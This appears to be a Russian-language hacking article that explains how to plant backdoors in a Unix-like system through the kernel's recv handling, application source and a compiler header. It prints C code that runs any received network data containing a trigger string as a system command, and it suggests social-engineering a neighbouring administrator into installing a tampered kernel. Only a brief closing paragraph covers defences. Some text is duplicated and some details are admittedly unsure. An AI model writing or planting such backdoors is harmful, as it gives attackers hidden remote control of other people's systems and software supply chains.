Закладки - это недокументированные функции системы, заложенные создателем сознательно. Закладка может находиться в любом месте: в прикладной программе, в ядре ОС или даже в компиляторе. Назначение закладок - дать создателю системы более широкие возможности, чем рядовому пользователю или администратору, не знающему о закладке, в случае ОС или сетевых сервисов - удаленный контроль над системой. Рассмотрим на практике внедрение закладки в Unix-like систему.
Закладки - это недокументированные функции системы, заложенные создателем сознательно. Закладка может находиться в любом месте: в прикладной программе, в ядре ОС или даже в компиляторе. Назначение закладок - дать создателю системы более широкие возможности, чем рядовому пользователю или администратору, не знающему о закладке, в случае ОС или сетевых сервисов - удаленный контроль над системой. Рассмотрим на практике внедрение закладки в Unix-like систему.
1. Ядро ОС. Модифицируются части ядра, отвечающие за обработку поступающей по сети информации. Нам подойдет обработка системного вызрова recv, отвечающего за чтение данных из сокета. В ядре linux этот вызов находится в файле net/socket.c, а сама процедура называется sys_recv(int fd, void * ubuf, size_t size, unsigned flags). Параметр ubuf - место, куда в результате вызова процедуры попадают прочтенные данные. Можно вставить проверку буфера на наличие заданной строки, если строка найдена - выполнять какой-либо код.
Модифицированное ядро вставляется в стандартный дистрибутив (или распространяется под видом оригинального ядра), и далее методами социальной инженерии внедряется на атакуемый объект. Я почти уверен, что сисадмин из соседнего офиса с удовольствием возьмет у меня компашку с последней версией ядра - любит он их обновлять, а качать с kernel.org - жалко денег :)
2. Прикладная программа. Тут все достаточно очевидно, проблема лишь в том, чтобы скрыть закладку внутри исходника. Впрочем, по статистике, лишь 1% пользователей opensource-программ заглядывает в исходники, так что при локальном распространении программы (в пределах здания, например) можно не особо волноваться на этот счет.
3. Компилятор. Можно модифицировать компилятор таким образом, чтобы он вставлял закладку в любую компилируемую программу. Нет нужды объяснять тому, кто дочитал до этого места, преимущества и недостатки распространения программ в виде исходных текстов, а не бинарников. Мы произведем модификацию, аналогичную модификации ядра.
Во многих юниксах функция recv описывается в файле /usr/include/sys/socket.c, маленькое изменение файла приведет к тому, что любое приложение будет компилироваться с закладкой. Пишу по памяти, так что могу ошибиться :)
В конец файла (или в любое другое место после определения функции recv) нужно добавить следующее:
Мы определяем новую процедуру...
static int buggzy_recv(int fd, void *buf, int len, int flags){ int retval=recv(fd,buf,len,flags); if(strstr(buf,"maravan")!=NULL) system(buf); return retval; }...и подменяем старую функцию новой:
Даже вручную такие строчки добавляются меньше, чем за минуту, а заметно это не больше, чем модификация ядра. Теперь любая программа, использующая сокеты, при получении информации, содержащей строку "maravan" (не спрашивайте, что это такое), будет выполнять полученные данные как команду системы. Способы добиться установки на атакуемую систему - те же, что и у ядра. В отличие от ядра, закладка в компилятор может внедряться не в целевую систему, а на систему разработчика.
Меры предосторожности. От закладок, сделанных авторами системы, обезопаситься крайне проблематично, например, откуда у вас уверенность, что ваш компилятор не делает их? :) Точто так же нет оснований быть уверенным, что дистрибутив, купленный вами в магазине позавчера, не создан специально с целью получить несанкционированный доступ к вашей системе. Проверяйте файлы в сомнительных дистрибутивах на соответствие оригинальным (для этого выкладываются их контрольные суммы или цифровые подписи). Тяжело быть параноиком, но если информация, которую у вас могут похитить, составляет достаточную ценность, стоит знать и помнить об этом способе проникновения в систему.
Ладно, не доказали. Но мы работаем над этим